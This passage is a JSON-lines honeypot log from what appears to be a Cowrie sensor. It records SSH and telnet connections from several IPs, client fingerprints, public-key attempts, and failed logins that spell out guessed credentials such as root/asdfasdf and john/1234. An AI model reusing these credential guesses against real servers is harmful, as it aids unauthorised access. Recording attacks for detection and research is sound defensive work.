{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":33330,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e6171711e7a","protocol":"ssh","message":"New connection: 43.153.65.139:33330 (10.17.0.5:22) [session: 9e6171711e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:58.197106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:58.202306Z","src_ip":"43.153.65.139","session":"9e6171711e7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:58.270712Z","src_ip":"43.153.65.139","session":"9e6171711e7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"download","message":"login attempt [root/download] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:58.576736Z","src_ip":"43.153.65.139","session":"9e6171711e7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:57:59.648917Z","src_ip":"43.153.65.139","session":"9e6171711e7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.055994510650635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:01.486183Z","src_ip":"152.42.224.71","session":"c1bbc279f1bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.23462700843811,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:05.556368Z","src_ip":"152.42.224.71","session":"92bf9058188b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":45146,"dst_ip":"159.203.135.109","dst_port":22,"session":"c83ee7212259","protocol":"ssh","message":"New connection: 139.19.117.129:45146 (159.203.135.109:22) [session: c83ee7212259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:13.420482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:13.428643Z","src_ip":"139.19.117.129","session":"c83ee7212259","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:13.584285Z","src_ip":"139.19.117.129","session":"c83ee7212259","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:c0:35:85:ac:f9:1c:5a:29:58:24:02:02:a7:df:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChAjXWlIn5pt61Mx6rDh+hGvVdnSQzgMH5cDACHtr3hnvwxEU9M3ZkpRBcrDpFMMuanVnWqJUJdIOSL/d+ojjspbdGG7Ei+zVLXDxU0Aw9lHCsUrlAkPivxU3vjrBwq2Xc2JxBsaxuVuW7bPxiCXkEQDwn2AfIekt+mDSGwu2v3ymCZB42DlZi++Tim7mEp8HjxFvAMvqiC/xD5Lclt83LQxcHCVcYAWSvFk7odlSaMI7ib1mNUhWs5kSZX8DHtDwZ5jxYPL7fiO6VIUC8ydYJifY1wHzBZV42uXpyZ02Kxt1+q8Gy55UToc3yk8uQlinlDDXGTi65iM2qc4ZAVuZEb569EhgYEFjtqDQ56LdxD4azpt7+gEOEt7cRqN5dEbKmd22P/832KiZXOjl5h/9LH+et7u2TYgqD5vz9qOq+chsLUK6R0MgjcgyVT3NBZv0URH9O4os0vxXkL/BElsws2+6XmhhKc5ap2pWHUFev6/pMWSGZaoZrreEquRvxnHSnv/wc5fL2GwN7Wcvk4+3M323+/eZmck8Q6hrDNUed+evnoO/QcXQM2qO3vcb0yWx/5Zx4wsEqn9XTZOp38fStWpPJSJVazOoTaqZc56VVqgtOGJFt0bYOD6uKTBmSmhx8ivNw/Fr4GQ2tDSOCLvkruS1w/a4MW0HP9ISChKwf8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:c0:35:85:ac:f9:1c:5a:29:58:24:02:02:a7:df:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:13.780704Z","src_ip":"139.19.117.129","session":"c83ee7212259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:c0:35:85:ac:f9:1c:5a:29:58:24:02:02:a7:df:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChAjXWlIn5pt61Mx6rDh+hGvVdnSQzgMH5cDACHtr3hnvwxEU9M3ZkpRBcrDpFMMuanVnWqJUJdIOSL/d+ojjspbdGG7Ei+zVLXDxU0Aw9lHCsUrlAkPivxU3vjrBwq2Xc2JxBsaxuVuW7bPxiCXkEQDwn2AfIekt+mDSGwu2v3ymCZB42DlZi++Tim7mEp8HjxFvAMvqiC/xD5Lclt83LQxcHCVcYAWSvFk7odlSaMI7ib1mNUhWs5kSZX8DHtDwZ5jxYPL7fiO6VIUC8ydYJifY1wHzBZV42uXpyZ02Kxt1+q8Gy55UToc3yk8uQlinlDDXGTi65iM2qc4ZAVuZEb569EhgYEFjtqDQ56LdxD4azpt7+gEOEt7cRqN5dEbKmd22P/832KiZXOjl5h/9LH+et7u2TYgqD5vz9qOq+chsLUK6R0MgjcgyVT3NBZv0URH9O4os0vxXkL/BElsws2+6XmhhKc5ap2pWHUFev6/pMWSGZaoZrreEquRvxnHSnv/wc5fL2GwN7Wcvk4+3M323+/eZmck8Q6hrDNUed+evnoO/QcXQM2qO3vcb0yWx/5Zx4wsEqn9XTZOp38fStWpPJSJVazOoTaqZc56VVqgtOGJFt0bYOD6uKTBmSmhx8ivNw/Fr4GQ2tDSOCLvkruS1w/a4MW0HP9ISChKwf8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:13.785389Z","src_ip":"139.19.117.129","session":"c83ee7212259","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:c0:35:85:ac:f9:1c:5a:29:58:24:02:02:a7:df:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChAjXWlIn5pt61Mx6rDh+hGvVdnSQzgMH5cDACHtr3hnvwxEU9M3ZkpRBcrDpFMMuanVnWqJUJdIOSL/d+ojjspbdGG7Ei+zVLXDxU0Aw9lHCsUrlAkPivxU3vjrBwq2Xc2JxBsaxuVuW7bPxiCXkEQDwn2AfIekt+mDSGwu2v3ymCZB42DlZi++Tim7mEp8HjxFvAMvqiC/xD5Lclt83LQxcHCVcYAWSvFk7odlSaMI7ib1mNUhWs5kSZX8DHtDwZ5jxYPL7fiO6VIUC8ydYJifY1wHzBZV42uXpyZ02Kxt1+q8Gy55UToc3yk8uQlinlDDXGTi65iM2qc4ZAVuZEb569EhgYEFjtqDQ56LdxD4azpt7+gEOEt7cRqN5dEbKmd22P/832KiZXOjl5h/9LH+et7u2TYgqD5vz9qOq+chsLUK6R0MgjcgyVT3NBZv0URH9O4os0vxXkL/BElsws2+6XmhhKc5ap2pWHUFev6/pMWSGZaoZrreEquRvxnHSnv/wc5fL2GwN7Wcvk4+3M323+/eZmck8Q6hrDNUed+evnoO/QcXQM2qO3vcb0yWx/5Zx4wsEqn9XTZOp38fStWpPJSJVazOoTaqZc56VVqgtOGJFt0bYOD6uKTBmSmhx8ivNw/Fr4GQ2tDSOCLvkruS1w/a4MW0HP9ISChKwf8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:c0:35:85:ac:f9:1c:5a:29:58:24:02:02:a7:df:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:13.885545Z","src_ip":"139.19.117.129","session":"c83ee7212259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:c0:35:85:ac:f9:1c:5a:29:58:24:02:02:a7:df:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChAjXWlIn5pt61Mx6rDh+hGvVdnSQzgMH5cDACHtr3hnvwxEU9M3ZkpRBcrDpFMMuanVnWqJUJdIOSL/d+ojjspbdGG7Ei+zVLXDxU0Aw9lHCsUrlAkPivxU3vjrBwq2Xc2JxBsaxuVuW7bPxiCXkEQDwn2AfIekt+mDSGwu2v3ymCZB42DlZi++Tim7mEp8HjxFvAMvqiC/xD5Lclt83LQxcHCVcYAWSvFk7odlSaMI7ib1mNUhWs5kSZX8DHtDwZ5jxYPL7fiO6VIUC8ydYJifY1wHzBZV42uXpyZ02Kxt1+q8Gy55UToc3yk8uQlinlDDXGTi65iM2qc4ZAVuZEb569EhgYEFjtqDQ56LdxD4azpt7+gEOEt7cRqN5dEbKmd22P/832KiZXOjl5h/9LH+et7u2TYgqD5vz9qOq+chsLUK6R0MgjcgyVT3NBZv0URH9O4os0vxXkL/BElsws2+6XmhhKc5ap2pWHUFev6/pMWSGZaoZrreEquRvxnHSnv/wc5fL2GwN7Wcvk4+3M323+/eZmck8Q6hrDNUed+evnoO/QcXQM2qO3vcb0yWx/5Zx4wsEqn9XTZOp38fStWpPJSJVazOoTaqZc56VVqgtOGJFt0bYOD6uKTBmSmhx8ivNw/Fr4GQ2tDSOCLvkruS1w/a4MW0HP9ISChKwf8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:13.889685Z","src_ip":"139.19.117.129","session":"c83ee7212259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.72167158126831,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:15.766287Z","src_ip":"152.42.224.71","session":"3e6399920692","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35538,"dst_ip":"10.17.0.5","dst_port":23,"session":"d24e7eaddee6","protocol":"telnet","message":"New connection: 152.42.224.71:35538 (10.17.0.5:23) [session: d24e7eaddee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:17.159758Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56302,"dst_ip":"159.203.135.109","dst_port":22,"session":"896d51b170ca","protocol":"ssh","message":"New connection: 89.223.69.22:56302 (159.203.135.109:22) [session: 896d51b170ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:22.886705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:22.892578Z","src_ip":"89.223.69.22","session":"896d51b170ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:23.013736Z","src_ip":"89.223.69.22","session":"896d51b170ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfasdf","message":"login attempt [root/asdfasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:23.366473Z","src_ip":"89.223.69.22","session":"896d51b170ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:23.420700Z","src_ip":"139.19.117.129","session":"c83ee7212259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:24.491859Z","src_ip":"89.223.69.22","session":"896d51b170ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":35794,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9e41d569c41","protocol":"ssh","message":"New connection: 43.153.50.142:35794 (10.17.0.5:22) [session: f9e41d569c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:25.546185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:25.551090Z","src_ip":"43.153.50.142","session":"f9e41d569c41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:25.619503Z","src_ip":"43.153.50.142","session":"f9e41d569c41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2012","message":"login attempt [root/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:25.921148Z","src_ip":"43.153.50.142","session":"f9e41d569c41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:26.992555Z","src_ip":"43.153.50.142","session":"f9e41d569c41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00621914863586,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:32.118439Z","src_ip":"152.42.224.71","session":"2596758b72ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":52030,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8a694b7ccf5","protocol":"ssh","message":"New connection: 39.117.79.36:52030 (10.17.0.5:22) [session: c8a694b7ccf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:43.033428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:43.040330Z","src_ip":"39.117.79.36","session":"c8a694b7ccf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:43.239908Z","src_ip":"39.117.79.36","session":"c8a694b7ccf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"1234","message":"login attempt [john/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:44.055782Z","src_ip":"39.117.79.36","session":"c8a694b7ccf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:45.257108Z","src_ip":"39.117.79.36","session":"c8a694b7ccf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60996,"dst_ip":"10.17.0.5","dst_port":23,"session":"f11e3dad33c5","protocol":"telnet","message":"New connection: 152.42.224.71:60996 (10.17.0.5:23) [session: f11e3dad33c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:45.940390Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53728,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfb09cfc6a52","protocol":"ssh","message":"New connection: 103.153.68.219:53728 (10.17.0.5:22) [session: dfb09cfc6a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:47.848068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:58:47.853625Z","src_ip":"103.153.68.219","session":"dfb09cfc6a52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96